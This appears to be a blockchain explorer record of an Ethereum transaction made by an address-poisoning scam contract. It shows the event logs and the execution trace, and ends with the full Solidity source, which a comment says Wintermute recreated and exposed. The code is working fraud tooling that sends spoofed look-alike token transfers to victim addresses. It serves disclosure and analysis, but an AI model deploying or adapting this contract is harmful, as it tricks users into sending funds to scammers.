Transaction Hash:
Block:
22728902 at Jun-18-2025 04:11:59 AM +UTC
Transaction Fee:
0.000037987000255692 ETH
$0.09
Gas Used:
88,203 Gas / 0.430676964 Gwei
Emitted Events:
| 577 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000315e1ea0467446d7dba89b0d1e7fc6a680422040, 0x000000000000000000000000144ff0e8c65d32b54d05f5e8213aef9efcb0b056, 0000000000000000000000000000000000000000000000001df9dc8e4ad80000 )
|
| 578 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000144ff0e8c65d32b54d05f5e8213aef9efcb0b056, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000001df9dc8e4ad80000 )
|
| 579 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000365d5e4c2182f542475d7e17a9d532c47fa4d774, 0x000000000000000000000000a9d1e15d94ed894aef73f0b8700beae4f3ad3e43, 0000000000000000000000000000000000000000000000005cfb32c40e2fb860 )
|
| 580 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000a9d1e15d94ed894aef73f0b8700beae4f3ad3e43, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000005cfb32c40e2fb860 )
|
| 581 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000d205430f71471b025c7bcf10a172feec3c5f777e, 0x000000000000000000000000782aad1c8ab681cc10213f2e83a3e0b9234ea8c7, 0000000000000000000000000000000000000000000000000039f4964a389000 )
|
| 582 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000782aad1c8ab681cc10213f2e83a3e0b9234ea8c7, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000000039f4964a389000 )
|
| 583 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000003d109a931196c1b5bdb2ccc4cba0238a49abda5f, 0x00000000000000000000000062b75b65b23271b7f33d66b52831a58c3899bc9a, 000000000000000000000000000000000000000000000001e5b8fa8fe2ac0000 )
|
| 584 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000062b75b65b23271b7f33d66b52831a58c3899bc9a, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 000000000000000000000000000000000000000000000001e5b8fa8fe2ac0000 )
|
| 585 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000002347e50f903bc43106516a9e541b5918ec56c407, 0x000000000000000000000000b5821b4102ae47e15cdb00158e386a46a90022b2, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
|
| 586 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000b5821b4102ae47e15cdb00158e386a46a90022b2, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
|
| 587 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000c96f949fb65cd331a5c85ab0227d9ebf22819176, 0x000000000000000000000000c0b7f0a09548ae0736a4eec32dc19a8161eaa09d, 000000000000000000000000000000000000000000000002b7f8974b3dd70000 )
|
| 588 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x000000000000000000000000c0b7f0a09548ae0736a4eec32dc19a8161eaa09d, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 000000000000000000000000000000000000000000000002b7f8974b3dd70000 )
|
| 589 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000b5826a5ea808384b21480f2eaf6441a0549b22b2, 0x00000000000000000000000023479cd5b634b4c295d36bedbe9437e9c71fc407, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
|
| 590 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000023479cd5b634b4c295d36bedbe9437e9c71fc407, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 0000000000000000000000000000000000000000000000008ac7230489e80000 )
|
| 591 |
0xdea6fa1b00db909b395287dccb1c4dbb79ae1868.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x000000000000000000000000685e9b3867d067e8bbaea94f0029d4043365ed36, 0x00000000000000000000000013c2988bfe0d30a2aa7c7bb393e33844ca9659eb, 00000000000000000000000000000000000000000000000088009813ced40000 )
|
| 592 |
Poisonooor.0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db( 0xc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db, 0x00000000000000000000000013c2988bfe0d30a2aa7c7bb393e33844ca9659eb, 0x000000000000000000000000dea6fa1b00db909b395287dccb1c4dbb79ae1868, 00000000000000000000000000000000000000000000000088009813ced40000 )
|
Account State Difference:
| Address | Before | After | State Difference | ||
|---|---|---|---|---|---|
| 0x4AAE2F23...6F8466c82 | (Fake_Phishing1250369) |
0.055702461464095072 Eth
Nonce: 8254
|
0.05566447446383938 Eth
Nonce: 8255
| 0.000037987000255692 | |
|
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 7.061930361549381328 Eth | 7.061934771699381328 Eth | 0.00000441015 |
Execution Trace
Poisonooor.transfer( 0x0000000000000000000000000000000000000020, 32 ) => ( True )
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x315e1eA0467446d7dBa89b0d1e7fC6a680422040, to=0x144Ff0E8C65D32B54D05F5E8213aeF9Efcb0B056, amount=2160000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x365d5E4C2182F542475d7e17a9D532c47fA4D774, to=0xA9d1e15d94eD894aEf73f0b8700bEae4F3ad3e43, amount=6700004688276732000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xD205430F71471b025C7bCf10A172fEeC3C5f777E, to=0x782AAD1C8AB681CC10213F2e83a3e0B9234EA8C7, amount=16313000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x3d109A931196c1B5bDB2cCc4cBA0238A49AbDA5f, to=0x62B75B65b23271B7F33D66B52831a58C3899bC9a, amount=35000000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x2347E50f903Bc43106516A9e541B5918EC56c407, to=0xB5821B4102Ae47E15Cdb00158E386a46a90022B2, amount=10000000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xC96f949fB65cD331a5c85Ab0227d9Ebf22819176, to=0xc0B7f0a09548Ae0736a4eEc32dc19A8161eaA09D, amount=50150000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0xB5826a5Ea808384B21480f2EAF6441A0549B22B2, to=0x23479CD5B634b4c295d36BeDbE9437E9C71FC407, amount=10000000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
Poisonooor.attemptTransfer( token=0xDea6fA1B00dB909B395287dccB1c4DbB79Ae1868, from=0x685E9b3867D067e8bBAEa94f0029d4043365Ed36, to=0x13c2988bFE0d30a2aA7C7BB393e33844Ca9659eb, amount=9800000000000000000 )-
Fake_Phishing1250619.23b872dd( )
-
pragma solidity 0.8.26;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract Poisonooor {
/*
This contract is used by bad guys for the address poisoning scam to trick inattentive users into sending USDT/USDC to the wrong addresses
Recreated and exposed by Wintermute
DESCRIPTION OF HOW THIS SCAM WORKS:
https://www.blockaid.io/blog/a-deep-dive-into-address-poisoning
*/
using SafeERC20 for IERC20;
mapping(address => mapping(address => uint256)) public mapping_4850931766;
event Transferred(bytes32 indexed, address indexed, address indexed, uint256) anonymous;
receive() external payable {}
fallback() external payable {
require(msg.value == 0, "Ether not accepted");
transfer(address(0), 0);
}
function attemptTransfer(IERC20 token, address from, address to, uint256 amount) external {
token.safeTransferFrom(from, to, amount);
}
function transfer(address, uint256) public returns (bool) {
uint256 len = msg.data.length;
require((len - 68) % 128 == 0, "Invalid call data length");
uint256 iters = (len - 68) / 128;
for (uint256 i = 0; i < iters; i++) {
uint256 offset = 68 + i * 128;
address from;
address to;
address token;
uint256 amount;
assembly {
from := calldataload(offset)
to := calldataload(add(offset, 32))
token := calldataload(add(offset, 64))
amount := calldataload(add(offset, 96))
}
try this.attemptTransfer(IERC20(from), to, token, amount) {
emit Transferred(hex"c1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db", token, from, amount);
} catch {
mapping_4850931766[token][from] += amount;
}
}
return true;
}
}
library SafeERC20 {
error SafeERC20FailedOperation(address token);
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
uint256 returnSize;
uint256 returnValue;
assembly ("memory-safe") {
let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
if iszero(success) {
let ptr := mload(0x40)
returndatacopy(ptr, 0, returndatasize())
revert(ptr, returndatasize())
}
returnSize := returndatasize()
returnValue := mload(0)
}
if (returnSize == 0 ? address(token).code.length == 0 : returnValue != 1) {
revert SafeERC20FailedOperation(address(token));
}
}
}